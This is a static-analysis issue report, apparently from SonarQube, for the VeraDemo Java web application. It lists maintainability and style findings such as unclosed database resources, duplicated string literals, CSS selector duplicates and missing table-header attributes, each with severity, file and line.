Severity | Number of Issues | |
---|---|---|
BLOCKER | 16 | |
CRITICAL | 25 | |
MAJOR | 198 | |
MINOR | 80 |
Rule | Severity | Component | Line | Description | Message | Status |
---|---|---|---|---|---|---|
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/controller/BlabController.java | 182 | Resources should be closed | Use try-with-resources or close this "Connection" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/commands/IgnoreCommand.java | 31 | Resources should be closed | Use try-with-resources or close this "PreparedStatement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/controller/UserController.java | 246 | Resources should be closed | Use try-with-resources or close this "Connection" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/controller/UserController.java | 494 | Resources should be closed | Use try-with-resources or close this "Statement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/controller/UserController.java | 505 | Resources should be closed | Use try-with-resources or close this "PreparedStatement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/controller/UserController.java | 312 | Resources should be closed | Use try-with-resources or close this "Connection" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/controller/UserController.java | 315 | Resources should be closed | Use try-with-resources or close this "Statement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/controller/UserController.java | 250 | Resources should be closed | Use try-with-resources or close this "Statement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/controller/UserController.java | 829 | Resources should be closed | Use try-with-resources or close this "Connection" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/controller/BlabController.java | 183 | Resources should be closed | Use try-with-resources or close this "PreparedStatement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/controller/BlabController.java | 324 | Resources should be closed | Use try-with-resources or close this "PreparedStatement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/commands/RemoveAccountCommand.java | 38 | Resources should be closed | Use try-with-resources or close this "Statement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/commands/RemoveAccountCommand.java | 31 | Resources should be closed | Use try-with-resources or close this "PreparedStatement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/commands/ListenCommand.java | 38 | Resources should be closed | Use try-with-resources or close this "Statement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/commands/ListenCommand.java | 31 | Resources should be closed | Use try-with-resources or close this "PreparedStatement" in a "finally" clause. | OPEN |
java:S2095 | BLOCKER | src/main/java/com/veracode/verademo/commands/IgnoreCommand.java | 38 | Resources should be closed | Use try-with-resources or close this "Statement" in a "finally" clause. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 79 | String literals should not be duplicated | Define a constant instead of duplicating this literal "username" 17 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 296 | String literals should not be duplicated | Define a constant instead of duplicating this literal "register" 4 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 457 | String literals should not be duplicated | Define a constant instead of duplicating this literal "User is not Logged In - redirecting..." 3 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 189 | String literals should not be duplicated | Define a constant instead of duplicating this literal "error" 7 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 645 | String literals should not be duplicated | Define a constant instead of duplicating this literal "/resources/images" 4 times. | OPEN |
java:S3776 | CRITICAL | src/main/java/com/veracode/verademo/controller/ResetController.java | 77 | Cognitive Complexity of methods should not be too high | Refactor this method to reduce its Cognitive Complexity from 23 to the 15 allowed. | OPEN |
java:S3776 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 544 | Cognitive Complexity of methods should not be too high | Refactor this method to reduce its Cognitive Complexity from 25 to the 15 allowed. | OPEN |
java:S2093 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 698 | Try-with-resources should be used | Change this "try" to a try-with-resources. (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
java:S2119 | CRITICAL | src/main/java/com/veracode/verademo/controller/ResetController.java | 91 | "Random" objects should be reused | Save and re-use this "Random". | OPEN |
java:S2093 | CRITICAL | src/main/java/com/veracode/verademo/controller/ResetController.java | 341 | Try-with-resources should be used | Change this "try" to a try-with-resources. (sonar.java.source not set. Assuming 7 or greater.) | OPEN |
css:S4651 | CRITICAL | src/main/webapp/resources/css/demo.css | 144 | "linear-gradient" directions should be valid | Unexpected nonstandard direction | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/BlabController.java | 68 | String literals should not be duplicated | Define a constant instead of duplicating this literal "com.mysql.jdbc.Driver" 7 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/BlabController.java | 213 | String literals should not be duplicated | Define a constant instead of duplicating this literal "redirect:feed" 6 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/BlabController.java | 67 | String literals should not be duplicated | Define a constant instead of duplicating this literal "Getting Database connection" 6 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/BlabController.java | 464 | String literals should not be duplicated | Define a constant instead of duplicating this literal "redirect:login?target=blabbers" 3 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/BlabController.java | 56 | String literals should not be duplicated | Define a constant instead of duplicating this literal "User is not Logged In - redirecting..." 6 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/BlabController.java | 60 | String literals should not be duplicated | Define a constant instead of duplicating this literal "User is Logged In - continuing..." 6 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/BlabController.java | 53 | String literals should not be duplicated | Define a constant instead of duplicating this literal "username" 7 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/BlabController.java | 57 | String literals should not be duplicated | Define a constant instead of duplicating this literal "redirect:login?target=profile" 3 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 82 | String literals should not be duplicated | Define a constant instead of duplicating this literal "redirect:" 3 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 156 | String literals should not be duplicated | Define a constant instead of duplicating this literal "com.mysql.jdbc.Driver" 8 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 86 | String literals should not be duplicated | Define a constant instead of duplicating this literal "redirect:feed" 3 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 155 | String literals should not be duplicated | Define a constant instead of duplicating this literal "Creating the Database connection" 3 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 117 | String literals should not be duplicated | Define a constant instead of duplicating this literal "target" 6 times. | OPEN |
java:S1192 | CRITICAL | src/main/java/com/veracode/verademo/controller/UserController.java | 468 | String literals should not be duplicated | Define a constant instead of duplicating this literal "Getting Database connection" 4 times. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 183 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 82126 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 82125 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 76198 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S2259 | MAJOR | src/main/java/com/veracode/verademo/controller/ResetController.java | 176 | Null pointers should not be dereferenced | A "NullPointerException" could be thrown; "blabsContent" is nullable here. | OPEN |
java:S1149 | MAJOR | src/main/java/com/veracode/verademo/controller/ResetController.java | 339 | Synchronized classes Vector, Hashtable, Stack and StringBuffer should not be used | Replace the synchronized class "StringBuffer" by an unsynchronized one such as "StringBuilder". | OPEN |
java:S1604 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 901 | Anonymous inner classes containing only one method should become lambdas | Make this anonymous inner class a lambda (sonar.java.source not set. Assuming 8 or greater.) | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 156 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 76197 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 244 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
java:S3457 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 259 | Printf-style format strings should be used correctly | Format specifiers should be used instead of string concatenation. | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 311 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 367 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 74394 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 469 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 74393 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 74392 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 90989 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 572 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
java:S4042 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 650 | "java.nio.Files#delete" should be preferred | Use "java.nio.file.Files#delete" here for better messages on error conditions. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 68181 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S1135 | INFO | src/main/java/com/veracode/verademo/controller/UserController.java | 653 | Track uses of "TODO" tags | Complete the task associated to this TODO comment. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 90988 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 768 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 68180 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | 828 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
Web:S5256 | MAJOR | sonar.html | 67869 | Tables should have headers | Add "<th>" headers to this "<table>". | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/ResetController.java | 99 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/ResetController.java | 266 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
java:S106 | MAJOR | src/main/java/com/veracode/verademo/controller/ResetController.java | 275 | Standard outputs should not be used directly to log anything | Replace this use of System.out or System.err by a logger. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 86439 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
common-java:DuplicatedBlocks | MAJOR | src/main/java/com/veracode/verademo/controller/UserController.java | Source files should not have any duplicated blocks | 3 duplicated blocks of code must be removed. | OPEN | |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 86438 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 83961 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 83960 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 83927 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 83926 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 83706 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S2583 | MAJOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 586 | Conditionally executed code should be reachable | Change this condition so that it does not always evaluate to "false" | OPEN |
java:S1121 | MAJOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 555 | Assignments should not be made from within sub-expressions | Extract the assignment out of this expression. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 66847 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 66846 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 68 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65310 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65309 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65290 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 181 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 231 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 306 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65289 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 399 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 482 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65270 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S4925 | MAJOR | src/main/java/com/veracode/verademo/controller/BlabController.java | 567 | "Class.forName()" should not load JDBC 4.0+ drivers | Remove this "Class.forName()", it is useless. (sonar.java.source not set. Assuming 6 or greater.) | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65269 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 83705 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 82625 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S1172 | MAJOR | src/main/java/com/veracode/verademo/commands/RemoveAccountCommand.java | 17 | Unused method parameters should be removed | Remove this unused method parameter "username". | OPEN |
common-java:DuplicatedBlocks | MAJOR | src/main/java/com/veracode/verademo/commands/ListenCommand.java | Source files should not have any duplicated blocks | 1 duplicated blocks of code must be removed. | OPEN | |
java:S1118 | MAJOR | src/main/java/com/veracode/verademo/utils/UserFactory.java | 19 | Utility classes should not have public constructors | Add a private constructor to hide the implicit public one. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 82624 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S1135 | INFO | src/main/java/com/veracode/verademo/commands/ListenCommand.java | 50 | Track uses of "TODO" tags | Complete the task associated to this TODO comment. | OPEN |
common-java:DuplicatedBlocks | MAJOR | src/main/java/com/veracode/verademo/commands/IgnoreCommand.java | Source files should not have any duplicated blocks | 1 duplicated blocks of code must be removed. | OPEN | |
common-java:DuplicatedBlocks | MAJOR | src/main/java/com/veracode/verademo/utils/User.java | Source files should not have any duplicated blocks | 1 duplicated blocks of code must be removed. | OPEN | |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 82176 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
java:S1135 | INFO | src/main/java/com/veracode/verademo/commands/IgnoreCommand.java | 50 | Track uses of "TODO" tags | Complete the task associated to this TODO comment. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65238 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65237 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:S5256 | MAJOR | src/main/webapp/WEB-INF/views/register.jsp | 82 | Tables should have headers | Add "<th>" headers to this "<table>". | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65210 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65209 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:S5256 | MAJOR | src/main/webapp/WEB-INF/views/register-finish.jsp | 78 | Tables should have headers | Add "<th>" headers to this "<table>". | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65150 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65149 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65102 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65101 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65078 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65077 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:S5256 | MAJOR | src/main/webapp/WEB-INF/views/profile.jsp | 80 | Tables should have headers | Add "<th>" headers to this "<table>". | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65038 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65037 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65034 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 65033 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:S5256 | MAJOR | src/main/webapp/WEB-INF/views/login.jsp | 80 | Tables should have headers | Add "<th>" headers to this "<table>". | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 62915 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:S5254 | MAJOR | src/main/webapp/WEB-INF/views/notimplemented.jsp | 4 | "<html>" element should have a language attribute | Add "lang" and/or "xml:lang" attributes to this "<html>" element | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 62914 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 61900 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | src/main/webapp/WEB-INF/views/blabbers.jsp | 83 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | src/main/webapp/WEB-INF/views/blabbers.jsp | 84 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | src/main/webapp/WEB-INF/views/blabbers.jsp | 85 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | src/main/webapp/WEB-INF/views/blabbers.jsp | 87 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | src/main/webapp/WEB-INF/views/blabbers.jsp | 89 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 61899 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41762 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 41761 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
css:S4649 | MAJOR | src/main/webapp/resources/css/pwm.css | 127 | Font declarations should contain at least one generic font family | Unexpected missing generic font family | OPEN |
Web:TableHeaderHasIdOrScopeCheck | MAJOR | sonar.html | 82175 | "<th>" tags should have "id" or "scope" attributes | Add either an 'id' or a 'scope' attribute to this <th> tag. | OPEN |
css:S4649 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 277 | Font declarations should contain at least one generic font family | Unexpected missing generic font family | OPEN |
css:S4649 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 6343 | Font declarations should contain at least one generic font family | Unexpected missing generic font family | OPEN |
css:S4648 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 109 | Duplicated font names should be removed | Unexpected duplicate name monospace | OPEN |
css:S4661 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 6068 | Media features should be valid | Unexpected unknown media feature name "transform-3d" | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 1071 | Selectors should not be duplicated | Unexpected duplicate selector "html", first used at line 8 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 1076 | Selectors should not be duplicated | Unexpected duplicate selector "body", first used at line 13 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 1091 | Selectors should not be duplicated | Unexpected duplicate selector "a", first used at line 46 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 1105 | Selectors should not be duplicated | Unexpected duplicate selector "figure", first used at line 93 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 1108 | Selectors should not be duplicated | Unexpected duplicate selector "img", first used at line 87 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 1139 | Selectors should not be duplicated | Unexpected duplicate selector "hr", first used at line 96 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 1510 | Selectors should not be duplicated | Unexpected duplicate selector "code, kbd, pre, samp", first used at line 105 (no-duplicate-selectors) | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 1539 | Selectors should not be duplicated | Unexpected duplicate selector "pre", first used at line 102 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 2231 | Selectors should not be duplicated | Unexpected duplicate selector "table", first used at line 183 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 2471 | Selectors should not be duplicated | Unexpected duplicate selector "fieldset", first used at line 168 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 2477 | Selectors should not be duplicated | Unexpected duplicate selector "legend", first used at line 173 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 2494 | Selectors should not be duplicated | Unexpected duplicate selector "input[type="search"]", first used at line 158 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 2499 | Selectors should not be duplicated | Unexpected duplicate selector "input[type="radio"], input[type="checkbox"]", first used at line 147 (no-duplicate-selectors) | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 2574 | Selectors should not be duplicated | Unexpected duplicate selector "input[type="search"]", first used at line 158 | OPEN |
css:S4666 | MAJOR | src/main/webapp/resources/css/bootstrap.css | 3950 | Selectors should not be duplicated | Unexpected duplicate selector ".nav-tabs.nav-justified > li > a", first used at line 3933 | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 11 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 28 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
javascript:S905 | MAJOR | src/main/webapp/resources/js/bootstrap.js | 88 | Non-empty statements should change control flow or have at least one side-effect | Expected an assignment or function call and instead saw an expression. | OPEN |
